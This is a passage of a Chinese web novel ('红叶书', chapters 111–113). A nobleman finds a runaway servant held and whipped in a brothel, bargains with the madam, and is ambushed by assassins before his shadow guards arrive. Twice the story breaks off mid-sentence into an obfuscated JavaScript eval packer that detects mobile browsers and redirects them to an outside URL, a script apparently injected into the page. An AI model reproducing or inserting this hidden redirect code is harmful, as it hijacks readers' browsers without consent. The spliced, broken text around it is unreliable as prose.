“最近我娘着急给我说亲,让我多上街走走,万一有姑娘相看上我了呢。” “说亲?......哦。” 敬先不知从哪里摸出一把折扇,唰地展开,悠闲扇着。 扇子通体碧绿,绘以一支满绽的粉梅。翠绿与绛紫的结合,搭配嫰粉点点渲染,这是来自于军营的凛冽审美。梁风记得以前听敬先抱怨过军营里枯燥无颜色,他道:“给自己上点颜色也不错啊。” 敬先赞同地点头,扇子摇得更起劲了。 “你父亲身体怎么样了?这一下子歇下来,容易不好。” “好得很,我爹现在是闲了,成天盯着我,他若是不好,这天底下没有身体好的人了。” “那你以后呢,打算如何?” 不知道敬先还能不能入营当兵,或者在官府里寻个闲职,这恐怕得看皇帝的意思。 “我懒得想,好不容易痛快了,这不得多玩玩。我爹的意思也是不急,等我成了家再说。” 成家。说起这个,梁风一点概念都没有,听着真是个遥远的事情。 “做个闲散世子也不错啊。” 敬先把 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定北侯世子和骠骑将军遭遇刺杀,要想讨个公道也得去官府走流程。 报了案,梁风上缴暗器,嘱咐敬先这段时间先不要出门。隔日他到军营动用私权派人调查,大街上遭遇刺杀,这严重关系到京城治安,他有充分理由介入。 很快,相府决曹的人告知他,案子已在审理,让他不必过多担心。言外之意是他介入的理由不够充分,职权不能逾越,让他别管。 梁风只好叫回派去调查的人,转而加大京城巡防士兵,他怕这起刺杀针对的是敬先。 结果没过两天,陛下传来口谕,让他勿在京城布置过多士兵。城内士兵本就由军营和相府兵曹构成,人数已然充足,再多一些,难免造成百姓惶惶。 梁风又只好把人收回来,耐心等待调查结果。 等待中,陛下口谕之后再传圣旨,提升梁风军衔。 梁风成了从前的崔固,他之上,仅有太尉一人。 他并没有很高兴,但借这道圣旨,给脸上拉出了几条笑容,周到地参加与丕的婚礼。 太子殿下纳妃了。 太子妃是孙提的曾孙女,也是名动京城的才女。 虽名动京城,梁风却是第一次听说,这也是他第一次参加婚礼。 看看参加者各怀心思的表情,他本能感觉这场婚姻里的关系挺复杂的。 众人中心的新郎官,一身大红色喜庆十足,淡淡笑意,礼数到位地接受各声恭喜。梁风一同送了礼,也收到与丕对所有人都一样的表情道出的回谢。 新太尉也姓孙,皇帝以与丕的婚姻招揽孙家,可孙提早在越国时便效忠于陛下,有必要这样做么?皇帝做这些是为了什么,只是为了巩固孙家在军事中的地位? 如果是这样,那最初与丕入营,并不是皇帝想让与丕跟他争权,而仅仅是想先一步控制军营。 席间,梁风慢慢看出来各人之间或真或假的无形链条,也看出来,皇帝根本没有那么信任他。 之后,与丕不再来军营。 新太尉几乎包揽了所有军务,梁风手里的杂事松了些,他希望能少些事务,找得机会去天机阁询问金絮下落。不知道天机阁指望大不大,他想试试,他有些怀疑金絮可能已经不在京城。 太尉却告诉他,接下来要忙起来了。 朝廷即将执行算缗令和告缗令,开始全面打击商户。这期间京城内或许会出现骚动,梁风需安排人带兵在城内巡逻,不增加士兵人手,增多巡逻频次。 算缗令是向商户征收的税目,每两千钱的税额为一百二十钱,同时要求各地商户家主向官府报告其家财产总额,以计算总共需缴纳多少税钱,此税以年计。 而告缗令则是,若有某商户虚报财产,一经发现,罚没其家全部财产并举家罚往边境戍守一年,而举报其家的告缗者,赏罚没财产的三成。 梁风没听说过这样的政令,不好判断颁布后会产生什么影响,便严格按照太尉说的做,点了几名下属负责,巡逻路线主要规划为京内数十家大商户的位置。 十月,朝廷便正式颁布算缗令和告缗令。 布防路线立即出现变动,似乎是有人到举报他的士兵扰民。 他还未觉察出百姓们生活有何变化,李晟找到他,亲自和他说,发现了金絮下落。 111. 《红叶书》(三一) “昨日我在街上被一小贼顺去了荷包,我追着那小贼跑到城东,分明听见了金姑娘的喊声。” 此时尚在大街上,天色已黑透,梁风刚监督完交接换岗的队伍,老李便找了过来。 “城东哪里?” “来福街的一条巷子,我听见声音立刻去找,在那附近搜了一圈却没找到。” 梁风换上常服,叫来马车,准备和老李去找她。 马车内,李晟道:“王爷,我感觉不好。我当时听见的声音是极为清晰的,应当离得很近,可是找一圈却没见到她人,唯一的可能是金姑娘在那附近的房子里。” “她找到投靠的人家了?”梁风猜测。 “可那条巷子的两侧都是青楼。” “青楼?”梁风微微睁大了眼睛。 他知道这种地方,虽然没进去过,但知道里面是做什么的。这种汇聚了各色人等之地,每日都会出现数起民众口角争执斗殴的事件,往往是他排兵巡视最多的地方,他对这些地方的印象一直不好。 “她从王府里跑出来,就去了那种地方?” 老李神色凝重地摇头,“应当不是她自己去的,我事后回忆,金姑娘当时的喊声恐怕是在呼救。” 他心中一凛,也意识到不好。 待马车停定便抓紧下车。来福街的行人已经很多,老李带他走进两栋房屋之间的暗巷,人顿时少了,一条巷子只有三四个人影。 “就是这了。”老李道。 梁风四下一看,两侧围墙不算高,围墙内的民房排有窗户,窗户里都亮着灯,再往前走有个分岔路口,也能看见亮着灯的房屋。 街铺都是前店后寝,铺口面向街道,进了巷道能看见的这些屋子都是铺主的居所。大部分铺面占地很小,青楼这类占地会大许多,除了城西几座规模较大的青楼有独立住房外,大部分占地小的青楼,居所多是好几户人家联排合住。 这类地方为了招引过客,房屋设计大多不隔音,窗多且薄,屋子里面的叫喊声轻易便能传出来。很多地痞流氓因为钱币不够,每日入了夜便蹲在门窗下偷听,听到宵禁,遭驱赶才走,这也是花柳之地鱼龙混杂的原因之一。 这会入夜不久,巷子里还算干净,等明早天亮,就能发现墙角下一小滩一小滩的排泄物。 “应当是右侧这间。”老李指道。 梁风走近细听,确实能听见些声响,有一个上了年纪的女人的声音,听不清说什么。 他准备从铺口进入,到里面看看。这时清晰听见了一道啪响,很明显是击打的动静,那个女人的声音突然大起来。 “死丫头好大的野性!” 这句话不用细听都十分清楚。梁风分辨出刚才那道啪响是鞭子的抽打,他立刻跑去店铺的正门。 门口烛光大亮,站了三位姑娘娇笑着和往来行人打招呼。大门开着,梁风想也不想,直接冲入,老李在后面都没拦住。 那三位姑娘看见他,立刻围了过来。梁风大步越过她们,进到屋子里面,登时被一股极为浓烈的香气包裹口鼻。不是花香果香,从没闻过,烈得他眼皮一跳,脚步停下了,更多的姑娘围过来。 “公子这般心急呀。” “公子以前没见过,是第一次来我们嬉春院?” “公子~奴家名叫小慧~” “年纪好大的老头,大爷还能来玩儿啊~” 这股香味再浓烈也盖不过屠匪时弥漫整座山头的血气,梁风吸两口便适应了,看看面前这五六名女子,后退一步,沉声道:“我在你们这座房的西北角听见鞭笞与呼救声,现来查看,人在哪里?” “马上在你怀里了,公子~” 这些女子显然没有被他吓唬住,并且精准地理解了他所说的鞭笞与呼救是何意思。梁风反而愣了一愣,没反应过来。 其中一名看起来年纪稍大的绿衣女子近他一步,手指轻轻划他的胸膛,媚声道:“那是新来的小丫头,我们妈妈在照顾她呢,她现下接不了客,公子若是有兴趣,不妨先选其他的。” “其......选......选什么选!”不知为何,出口的声音有点气虚,梁风下意识后退躲开手指,撞到了身后的李晟。 他大喊:“我随偷盗案查到此处,都让开!” 女子们被他凶到了,梁风趁隙拨开众人,大概分辨那间窗户的方位,步子一跨,自己向里间走去。 往里走有数间厢房,走过五间后跨过一扇门就是天井,后院只亮着几盏灯,梁风径直去往左侧耳房。 “哎哎公子,里面是寝房,不能进去的。” 后面跟上来的姑娘追着他喊,梁风仿佛没听见,只注意着耳房里的说话声变大了。 “你还敢绝食?给我吃饭!听话就不用挨打,知不知道!” 又是一道啪响,伴随低低的惊呼,梁风眸光巨震,一脚把门踹开。 淡淡血腥气扑面而来,屋子里站着一名身着玫红衣裳的中年女人,右手执一条短鞭,听见门被踹开的声响,惊愕地向他看来。 屋内很小,无摆设,仅入门左侧有一张矮小的硬榻。中年女人对面跪着一名女子,披发散乱潮湿,身上白衣破碎,衣服裂口处都是鞭痕,绽开的皮肉混着血迹滴湿地面。她双手被麻绳所缚,麻绳另一端连接墙壁一扇被木棍封死的窗户,她的活动范围只在窗下。 她背对着梁风,梁风却从那乱发遮挡的侧脸认出是金絮。 他怒喊:“给我住手!” 中年女人用衣摆将手中的鞭子遮了遮,上下打量他,笑着迎前,“哟,公子,以前没见过啊,第一回来嬉春院?” 金絮肩膀微动,缓缓扭头,模糊的眼神在看见他的一瞬变得清晰起来,而她又迅速把头转回去,蜷着身体往墙边缩。 梁风看出她不敢与他直视,动作是在躲避。梁风立刻想把她救下来,那中年女人拦住他道:“奴家这教训丫头呢,小心污了您的眼。” 梁风挥臂挡开,“你是什么人?从何处抓了她来?胆敢动用私刑?!” 中年女人被他喝住了,梁风几步跨前,欲解金絮手上的绳索。她低着头发抖,只穿件单衣,满身都是伤口,唯独脸上无伤。 中年女人怪叫一声,猛地撞开梁风,“公子这是干什么?您可不能抢人啊!” “什么抢人?她是我、我府上的丫鬟,我还要问你是从哪里抓了她来?!” 中年女人厉了脸色,甩着鞭子再推他一把,冷声道:“公子若是看上了这死丫头,说一声便是,您出价便能卖您一个晚上,可要说是您的人,我就不依了,这死丫头分明是我买来的!” “胡说!她从我府里跑出去,怎么就成你买来的了?!” 梁风再要救下金絮,中年女人高声一喊:“来人呐!” 一群女子涌入,成墙拦在他面前。 李晟跟着跑入站在他旁边。 “私闯民宅,强抢民女,把他们给我赶出去!” 女子们便要推搡他,梁风不好动手。这些女子力气都小,角度却刁,不知哪里的五指在胡乱摸他,梁风一跳,大喊道:“你凭什么说她是你买来的?她的卖身契在我这儿。” 中年女人睨着他,鞭子不松手,从怀中摸出两张纸,“看好了,这是户籍,这是买卖文书,死丫头就叫晓花,还能有假?” 梁风一眼就看出不对劲,急得跨前一步,“你那是黑市文书,盖的是假印,不能作数!” 这中年女人变了脸色,“好烂的一张嘴!看清楚了,五十文铜钱,我买了的!凭你说不作数就不作数了?” 中年女人以为他作势要抢,用力挥鞭。鞭绳还未触到梁风手臂,他抬臂反抓,将鞭子夺了过来。 面前女子们惊呼着立即撤手,慌忙后退挤到中年女人身后。 李晟在他背后小声提醒:“不能闹大......” 中年女人没有因为失去鞭子而失去气势,嗤笑道:“穿的模样还挺好,想吃白食啊?要女人就得花钱!” 李晟扯着他的衣袖低声道:“从长计议。” 梁风也冷静下来,一时冲动闯入,却没想到该怎么带她出去。这女人手里的买卖文书不能走官府,金絮的户籍同样不能,事情只能私下协商。 潮湿的鞭子触感极为粗糙,他手上沾了点点血迹。梁风越过众人看向金絮,气温低了,她浑身湿着发抖。梁风将鞭子远远甩到房间的角落,盯着中年女人道:“多少钱?” 女人转眼珠子,瞧到了老李身上,略一思量,突然露出笑容,朝他欺身过来。 “公子愿意花钱,这事就好商量了,您先坐。” 变脸有点快,但他自觉笑容是友待的开始,便也慢慢放开身上的警惕,使气息不冲突到这些女子。 女人柔柔地笑,“不知公子姓什么?家住哪条街?” 他正要开口,老李抢先一步道:“你无需知道这些,开个价吧。” “一个老头这么着急?”中年女人斜瞪李晟,转而又对梁风笑道:“公子是不知道嬉春院的规矩,入了我嬉春院,就是我的人了,我对这些丫头们可都是当女儿养着,把女儿送出去,我这做娘的,总归要知道送去了什么样的人家。” 梁风怒道:“你给你女儿打出一身鞭伤?!” “可不么,都是这么养出来的。”中年女人眼睛扫视周围的全部女子,笑里带几分得意。 梁风真想冲上去直接抢。李晟死死地抓着他。 老李厉声说:“你不需要知道我们是什么人,追问的结果是一分钱也得不到。这丫头不过是个下人罢了,出价若是太高,我们大可随时放弃。” 梁风心底一惊,下意识往金絮那边看去,见她还是背对他的样子,全无反应。 中年女人仔细看着梁风,扯扯嘴角,不知在不在意李晟的话,她道:“五十两黄金。” 梁风惊呆了,“五十两黄金?你吃得下?!” 这女人根本不知道自己在说什么!他要是往这么一间破青楼里砸五十两黄金,足以吸引整个朝廷的目光,到那时候这女人的造假文书还瞒得住?只怕是追根溯源,连假文书背后的势力都拔起来了。 “我嬉春院的女子什么时候便宜了?”中年女人还挺得意,“公子可记着我这是什么地方,卖进来的丫头养成了都是要接客的,五十两黄金算少了,您出不起这价钱,我就只能把她卖给其他恩客了。” 梁风攥得拳头咯咯作响,不知该怎么办才好。 “我没事。” 细弱沙哑的声音响起,是金絮说的。 梁风一怔,“你......” “你闭嘴!”李晟道。 梁风又是一怔,微微诧异地看着老李。 李晟对金絮斥道:“你还敢开口!都怪你不听话,到底为什么要跑出去?你还在我面前装乖,甚至给少爷下药!变成现在这副样子,都是你自找的!” 少见李晟这样情绪激动的时候,梁风忍不住拉拉老李衣袖。 “对不起。”金絮低下头,一张脸彻底躲在乱发之后。 李晟拂袖,“不过是个丫鬟,谁给你的胆子竟敢私逃出府!” 老李模样真的十分生气,梁风一时不知该先顾及谁的情绪。李晟却在发完火之后抓着他便往外走。 中年女人完全不着急,笑着道:“小慧,送客。公子下回再来可千万记得带上金子哦~” 梁风想回头,老李用力扯他的手臂,低声道:“先走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839846|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他还是回了头,看见那窄窄门框内白色与血色相交的身影,金絮却不曾回头看他。 走入熙熙攘攘的大街,老李脸上沉重不减。 “王爷,您不应当表现得如此着急。您越是着急想要救下姑娘,那鸨母就越是不肯放人,她拿准了您的心思,一开口就会出高价。” 他脚步骤顿,仿佛前面有个坑,“我......”他完全没想那么多。 “你想要什么,便越是得不露喜怒,才不会叫别人抓到把柄。与人争锋时要想处于主导地位,必须隐藏自己的真实想法,要什么都得徐徐图之。” 梁风皱眉,有点气了,“明明想要却不能说,搞那些乱七八糟的,这是什么道理?” “但就是这个道理。”李晟极为沉静,“市井中的这些人惯会看人下菜,现在那鸨母只等您回去找她,收下您乖乖奉上的金子。” 梁风狡辩:“这时不救下她,她会被打死!” “不,她不会死。那鸨母在靠姑娘赚到金子前一定会让她活着。” 这一句堵回他的话了,梁风无法反驳。 李晟道:“我更担心的是,那鸨母想吃下的或许远不止五十两金子。王爷,不如先调查一番,我看那鸨母双臂粗细不一,许是患病在身。还有那张买卖文书,什么样的假东西能让她这么自信。” 梁风抓住关键,“那女人有病?” “不好说,王爷没发现那鸨母的左臂比右臂要粗许多?” 梁风想了一想,却记不得那女人的仔细模样了,他注意力几乎全在金絮身上。 “那鸨母脸色也极为不好,若真是有病,我们就能处于上风了,李婶要治个病想必不难。” 这么看似乎有点希望,可梁风还是担心。 “她万一当真以为我不会救她呢?” “那便让她如此以为好了,现下也没有第二处地方能供她容身。青楼虽是脏污了些,但鱼龙混杂之地掩人耳目最合适不过,王爷,风波还未完全过去。”李晟道。 梁风最终松了拳头,她的事情只能从长计议了。 李晟来得匆忙,未驾车,也不想马车标志暴露身份,此刻回府只能步行。 拐进一条巷子,离开大街,周围逐渐暗下来,梁风心里想着该从何处着手查查那嬉春院,一边听老李说话。 “金姑娘逃跑那晚,我们搜查了整个王府都没见到她的踪迹,但是第二日,您去往军营后,我发现府中后门打开了,虚掩着,可那门前一晚分明是关闭的。” “所以她是......” 李晟颔首,“她不知躲在何处,躲了一夜,第二日天亮才从府内偷偷离开。” 竟是如此......是当时天太黑没看清,还是金絮比他还了解他那座王府?想那数月,她日日待在房中,竟然还能摸清王府地形?是他之前太过忽略她了么?不是告诉过她有什么话都可以和他说的吗? 梁风思绪纷乱,脚下步子忽轻忽重。 分神之际,右侧突然传来尖锐的破空声。 听见声响时已近至身侧,梁风不待反应,左手抓住李晟便往前飞快一跳,身后那尖锐之物叮地打在地上。 “谁!” 他警惕看向周围暗影处,意识到这是刺杀。 话音刚落,巷口黑暗中窜出一个黑衣人影,寒光闪过,刀锋凛凛刺来。 梁风推开李晟,侧身躲过,一脚踹向黑衣刺客肋下。刺客腾空翻滚卸力,左手顺势成刀,指尖细弱的光芒瞬息即灭。梁风用大袖划圈一卷,他的袖子上便扎了一枚小针。 这种微小的暗器往往涂毒。 原来上回刺杀是针对他的,而不是敬先。 梁风将老李拉到墙边,余光注意四周,如果只有这一个人,他准备生擒。 这个念头刚冒出,黑衣刺客爬起再度攻来,同时左中右三面出现数道短暂的掠风声,他被包围了。 黑色身影眨眼便至,没有任何脚步声。梁风迅速背手扯下外衣,宽大的衣袍撒网般展开,凛冽杀气割破衣料,他用力跳起,将衣袍猛地往上扬,四名黑衣刺客攻势微滞,梁风趁机踹飞正中间的一人。 四人被衣裳连带着击退,梁风手里抓着只剩半片的外衣。从这一脚他判断打得过这四人,仍是决定生擒。 他盯住最左边一个,欲先抢夺武器。对方有所察觉,横刀以攻击来防守。这时,月光抹过刀锋,亮光微闪,一个从梁风斜后极远处射来的东西击中那反光刀刃,叮的一声,刺客挥剑挡开,后撤半步卸力。 四名刺客身形顿住。 以梁风为中心,四周八面踏空而来的脚步声丝毫不加掩饰。 梁风心底一紧,估计有十来个人,正想带老李先跑,一名不同服饰的黑衣人从天而降,背对着落在梁风面前,梁风立刻护住老李。 甫一落地,这新来的黑衣人便拔刀冲向对面四个刀挂残布的刺客。五人毫不犹豫过起招来。 接着,更多黑衣人成围落下,圈住四名刺客进行围攻。 梁风发觉似乎局势逆转,后来的这一批人不知是什么立场,都不是冲他来的。他暂时观望,随时带老李离开。 又一个从天而降的黑衣人落地,似乎是最后一个。这人落地后看向梁风,梁风心中警惕,却未感到杀气。 最后一名黑衣人手中刀尖一反,刀柄朝前,向他一扔,梁风抬手便接住了刀柄。 “你是?” 黑衣人向他走两步,弯腰环臂抱拳道: “主子,十三来晚了。” 刀尖一低头,梁风放下戒备,“你们是......” 他看看包围刺客的那些人,有点惊喜,也有点不可思议。 “我的暗卫?” 112. 《红叶书》(三二) “你们......你们这便来了?” 梁风十分意外,四年期限未满,他一直记着,按他和天机阁签订的协议,接人时间应该是明年。 况且,就这么来了?在一个遇到刺杀的夜晚从天而降? 他还以为会有个正式点的交接手续——由他亲赴天机阁,签署一份合约结束的协议,表明他的暗卫和天机阁再无关系。 “是的,主子。”十三道:“天机阁主提前结束与您的合约,说此时是您最需要我们的时候。” 最需要...... 梁风看着已降伏四名刺客的暗卫们,想到他的北军,心里多少松快些。提前便提前吧,身边终于有了信任的人,他也很需要他们。 “你先起来。” 十三站起来,梁风把刀扔回十三手里,道:“很多话回府里再说,这四人打晕留活口。” “是。” 身形最高大的暗卫收回插进刺客嘴里防止其吞毒自尽的鞋尖,手刀在颈项砸出闷响,四名刺客齐齐被劈晕,趴在地上像四滩影子。 “你们带老李回府,剩下的交给我。” 暗卫们飞身隐入黑暗,巷子口剩下他一人。 算算时辰,巡逻的士兵巡到这附近还需要些时间,梁风避免晕倒的刺客吓到行人,便守在路边等待巡兵。趁着这少有的独处,吹着夜风,理理思绪。 上回是十字镖,这回是针,意图杀死他的人非常谨慎,连常用暗器容易暴露身份这一点都想到了。而且这几名刺客出现的时机正好是在巡逻士兵走远的时候,背后的人显然十分清楚城防军的排布与巡逻路线。 这范围太广了,不光是军营将领,朝堂上很多文官也都知道城防布局。 他不明白自己有什么地方遭人惦记的。 想杀他的人难道是皇帝?可他死了对皇帝有什么好处? 原来真的有人想他死,还一直以为最多是不喜。梁风随即意识到这一夜的行动已经被人盯在眼中了,包括嬉春院。 “为什么要杀我呢?” 夜风带着这句自语窜入深巷,飘过几名摸黑行走之人的耳中。 为什么要杀他呢?他有什么地方讨人厌的。 可是仔细想想,他好像也没什么地方讨人喜欢。 倒地影子还是惊到了过路的归家人。巡逻士兵接到报案,匆匆赶来。 马蹄声令梁风回神,他看着士兵们抬走刺客,听着士兵长致歉请罪,挥挥手便作罢。 他不再告官府,这件事情肯定会传给皇帝知道,他倒想看看皇帝会是什么反应。 回到府里,李晟正和暗卫们说话。 十三等人黑布蒙着头脸,站在盛满烛光的房中,显得异常夺目。 “什么?死了两人?” 他刚进去便听见老李说的话,李晟向他看来,十几个人围站的场面透出一股拥挤的沉重。 梁风后知后觉照着人头点数,发现暗卫只有十一人。 “十三。” 他唤了一声。十三站出,扯下蒙面的黑布,露出一张不过十四五岁的脸。 “让主子失望了。四哥和五哥没能在天机阁的训练中活下来。”十三道。 “失望......”梁风走入房中,沉重的气氛因多了一个人而越发拥挤。今天发生的事真是无法让他心情好起来。 梁风摇摇头,“我没有失望,原本送你们去天机阁是因为无法把你们安置在我身边,进了天机阁还能学点武艺傍身,我固然需要帮手,但是我没想到天机阁的训练是会死人的。” 军营里的训练不犯纪律就绝对不会死人,而天机阁,该说是纪律更为严明,还是全无纪律可言? “天机阁主说这已经算厉害的了,本以为我们十三个人里只会剩下三四个的。”十三道。 这就值得夸了?不是号称他们什么都知道么?怎么他不知道他们规矩这件事又变得不知道了? 梁风不知该怎么答话,李晟也没要说话的意思。梁风便自己开解道:“至少还有你们在。” 他看着众人说:“你们这几年学了什么?” 十一个人里,只有老大、十一和十三于武学一道有颇深的造诣,三年里除了打架别的什么也没干。其余人除了具备基本的武艺基础外,还分门精修了各项知识与技能,包括中原及匈奴各地的都城治所、山川大河、水陆运输、情报流通路线、郡县商贾分布,还有军事、易容、制作暗器、朝廷尤其是相府对各地方的势力渗透情况等,所含内容非常广泛,比他从前在越国学习时更为全面。 但三年的时间太短,深度有限。不过,即便如此,随着老大的讲述,一张广阔完整的中原地图大致浮现在梁风脑海中。 “主子,天机阁主让我们转告给您,您欠付的尾款无需支付了,阁主只希望您以后若是听说天机阁有难,能够略施以援手。”老大道。 梁风一听,想起来还有补齐尾款这么一件事,怪异道:“天机阁有难?” 老大颔首,“天机阁预判双缗令的发布将对中原各地造成不小的动乱与影响,之后几年,天机阁需避避风头,不再露面了。” “这样啊......那也好。”那笔钱数额不算小,加上接人的时间提前,他若真要支付,还得先筹一筹,至于以后,就只能以后再说了。 当下最要紧的是和暗卫们确认暗号。 老大建议用竹哨,声音清脆响亮,能传很远,内容丰富,吹长吹短、吹快吹慢皆是不同意思。竹哨限于远程下令,近身后的暗号则是一些细微动作和手势。配合更默契后,便不用吹哨这么麻烦,即便没有交流也互相明白意思。 梁风同意,深知自己与他们接触太少,很多事情都需熟悉与磨合,还得学习怎么吹哨才行。 这夜聊到很晚。待夜极深了,暗卫们隐入黑暗休息,李晟悄悄关上了房门。 “王爷,您竟然遭遇刺杀?为何您从来不曾和我说过。” 老李脸色不太好,梁风坐正乖乖道:“是最近的事情,我这也才第二次遇上。” “才?”老李严厉起来,“难道要等您一身重伤被人抬回来,我才能知道这件事吗?” 梁风低头听训。 老李瞧他这副模样,有气也不知该怎么发了,缓了缓道:“是什么人想杀您?” “不知道。”梁风头更低。 老李自己猜着,猜得脸色一变,“难道是陛下?” 梁风微愣,面上的乖乖挂不住了,“应当不是,陛下如果想杀我,会用更直接的方式。” 停顿片刻,梁风又道:“他杀哪个人不是这样。” “这不尽然。或许陛下不是直接授意,而是默认,是已经有了第一场刺杀后,放任第二次的发生。王爷,我和你说过,你要多注意安全。” “我知道啊,这不是没事么,那些刺客背后的人好像低估了我的身手。”他抓住老李晟的衣袖晃一晃,“老李放心吧,我不会有事的。” 老李拂袖,“等有事就晚了。” 梁风认乖,“我知道了,以后出行我会叫人随同的。” 梁风吩咐暗卫办的第一件事情,就是调查嬉春院。 这件事显然不难,十二在当天下午就给了他初步调查结果。 那中年女人叫徐娘,是嬉春院鸨母,从别郡迁来的,居住京城也就一年多的时日,有一个十来岁的儿子,叫徐礼。让梁风吃惊的是,这徐娘算起来三十都不到,看上去却很显老相。她在来京城前,好像是和丈夫做脂粉生意,徐礼五六岁时,她丈夫抛妻弃子,不知所踪。徐娘独自一人抚养徐礼,生意越做越差,最后索性上京赌一把,凭自己对女人和男人的了解,做青楼行当,伸手掏向京都贵人的荷包。 她前夫的情况初步调查没查到,徐娘似乎不太愿意和旁人提起这位前夫,就连徐礼也是在她前夫失踪后改为和她姓的。 徐娘上京大半年时,查出患了某种疾病,病情还挺复杂,难治。如今徐娘是一门心思挣钱,为她的健康,也为徐礼的将来。 老李便建议梁风承诺徐娘定期为她治病,以此为条件保证金絮在嬉春院能够正常生活。 李晟道:“若她在嬉春院能平安无事,便让她住在那里也无妨。” 梁风比较犹豫,能让金絮远离那些地方才是最好。 他想再考虑考虑,安排了第二件事,调查徐娘那份买卖文书。 这就较为费事了,一段时间内不容易有结果。入夜后,梁风带上李婶和药箱,去往嬉春院。 徐娘十分认得他,看见他,立即扭着腰肢迎上来。 “公子,今日可带了钱来呀?” 再见徐娘,梁风认真地看了这个女人。她面色很白,唇红,一弯眉毛,看不出什么病态,但是抬手走动间,透过衣服撑起的轮廓确实能看出双臂粗细不一。他瞧不出所以然来,这方面全部交给李婶。 “上回是个老头,这回是个老妈子,公子年纪轻轻,身边的人倒是和寻常公子哥们不一样。要不赏赏眼,看看我院里其他姐儿们啊?”徐娘挑着眉眼笑道。 昨天这徐娘也总喜欢往老李身上看,梁风发现她是惯会通过携带的下人模样推测主子的身家与性情,他侧身让了让李婶,沉声道:“这是我家大夫,一手针灸术出神入化,什么病都能治好。” 徐娘果不其然又看了一眼李婶,任梁风再不懂看人脸色也知道徐娘这一刻眼睛里的意思。 他道:“我知道你的病,我们可以谈谈。先让我见见我那丫鬟。” 徐娘盯他,眼睛里想刀他的意味明显。 “公子什么人啊?能查人的,不会是官府的人吧?” 梁风一愣,脑子里飞快闪过各种说辞,最后否认:“我不是。” “昨天你说我的买卖文书官府不作数,莫非就是因为你跟官府通了气?”徐娘挥着那支精瘦的手臂就打,“烂成疮的女人都没你这张嘴烂,你们官府里的人就是恶心,比那些下.体流脓的男人还恶心!” 堂肆里已有两三个男客,纷纷侧目看过来。 梁风一把捉住她的手臂,厉声警告:“我说了我不是!你敢在黑市买卖人口,就该做好被人查的准备,若真不想被揭发,就给我安分点!” 徐娘挣不脱,脸色愈发气愤。一旁绿衣女子走出一步,搭住他的手,轻轻一推,“徐娘在气头上,公子稍安勿躁,我带您去见那丫头。” 梁风不愿动静闹得更大,顺势就这一推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风听说过喊门,是别的地区十分通行的喊冤或诬陷的做法。当两家人发生纠纷时,处于弱势的那一方会到对方家门前哭诉,斥责对方仗着权势欺人,把对方一家上下极尽抹黑。哭诉的内容是真是假不重要,这样一哭,街坊邻里只会同情偏信弱势的那一方,是穷人以撒泼耍赖来息事宁人的法子。 徐娘用力朝他挥鞭,梁风不躲,想再夺来鞭子,徐娘这一下却是个假动作,趁他伸手之际,鞭子一收,扯着衣领把李婶摔翻在地。 梁风没护着李婶,又不敢离金絮远了。 散一地的药瓶滚到徐娘脚下,她低头看了眼。 梁风道:“我买下她,五十两金子今天就给你。” 徐娘嗤一声,“我改主意了,五十两不够,你给多少都不够。这死丫头我不卖了,死野的性子,训好前不卖!” 梁风忍着气道:“你可以提价,不管多少金子我都会给你。”梁风忍着气道。 “不卖!” 金絮抓住梁风的衣袖,想引起他注意,血印子留在他的袖子上。 “你要是舍不得这死丫头变成一个你看不上的烂洞女人,就治好我。”徐娘将药瓶踢到他脚下,“不光是治好我,这死丫头在我这能过得怎样,全看你给多少钱养着她了。” “不,”金絮还是推着梁风,“徐娘的病让她自己治,你不要帮她,也不要帮我,我能救自己。” 她力气极小,完全推不动他。 “如果官府敢抓我,抓我这嬉春院上下所有人,我就敢跟这死丫头同归于尽。我当先就掐死她!”徐娘浑然不管金絮说什么,只顾警告梁风。 金絮立刻道:“她不敢。” “轮得到你这贱货说话!” 徐娘冲前一步,巴掌照着金絮脑门拍过去,金絮本能一缩,梁风抬手就挡住了。 徐娘骂道:“死贱人惯会干事儿呢,还知道刀子朝脸上割,有本事这贞烈,就一刀割死自己啊!” 梁风一掌推开去,徐娘哎哟一声,摔倒在地。 “我接受了。你不用帮任何人。”金絮道:“我不去你那,一天天关在黑屋子里,和这儿有什么分别。” 徐娘笑了,“听见没有,我这嬉春院还挺招人稀罕呢。” “她是不想走,怎么就是你这儿招人稀罕了?”李婶忍不住道。 梁风低头看她,想她全身的伤放到他身上都觉得疼。 “我那怎么和这里是一样......” “我不去。” “你不能待在这。” “没有不能。” 梁风简直感到苦闷,他大可直接抢走金絮,从一堆女人手里带个人走并不难,可是抢走之后的事情,却没法低调处理。 “我有办法救自己。”她道。 梁风忍无可忍,拂袖道:“救人不能救到底了?火场里都活过来,还能死在这?你有办法是你的事,我是废了?还能不管你了?” 他向徐娘吼道:“我答应了!行了没有!” 徐娘得逞地笑着,从地上爬起来。 “这就好说话了,王公子~” 113. 《红叶书》(三三) 李婶先为金絮包扎,徐娘和两名女子留在屋内看着金絮,梁风退出房间。他留守门前,随时听着屋子里的动静。 等待着,他闻到一股漆味,浅淡却冲鼻。他一看,漆味来自于门窗。门窗房梁都涂了某种红漆,乍看过去,艳红的颜色也有种精致,但是凑近会发现门窗已经长了细小洞口和灰屑,涂漆似乎是想掩盖发朽的木头。 四周还有随处可见的各色盆植,高高低低,花草都不茂盛,摆放得杂乱无章,细看之下,那些盆植全都遮挡着剥落的墙皮或者开裂的地缝。 记起老李和他说过,嬉春院的环境也十分不引人注意,加上女子众多,是金絮绝好的掩护。相比于京城其他地方的建筑与布局来讲,嬉春院的确可以算是破败了。 他希望能想出折中之法。 既能让金絮继续安全地住着,有人陪她,又不会让她沾上这样一个污点。 